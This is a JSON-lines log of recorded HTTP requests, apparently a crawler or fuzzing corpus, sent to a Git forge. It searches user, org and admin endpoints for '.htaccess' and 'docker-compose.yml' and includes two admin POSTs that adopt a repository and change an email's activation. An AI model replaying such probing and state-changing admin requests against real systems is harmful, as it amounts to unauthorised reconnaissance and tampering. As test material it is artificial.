{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=.htaccess&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=.htaccess&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 54", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=.htaccess&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 99", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=.htaccess&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
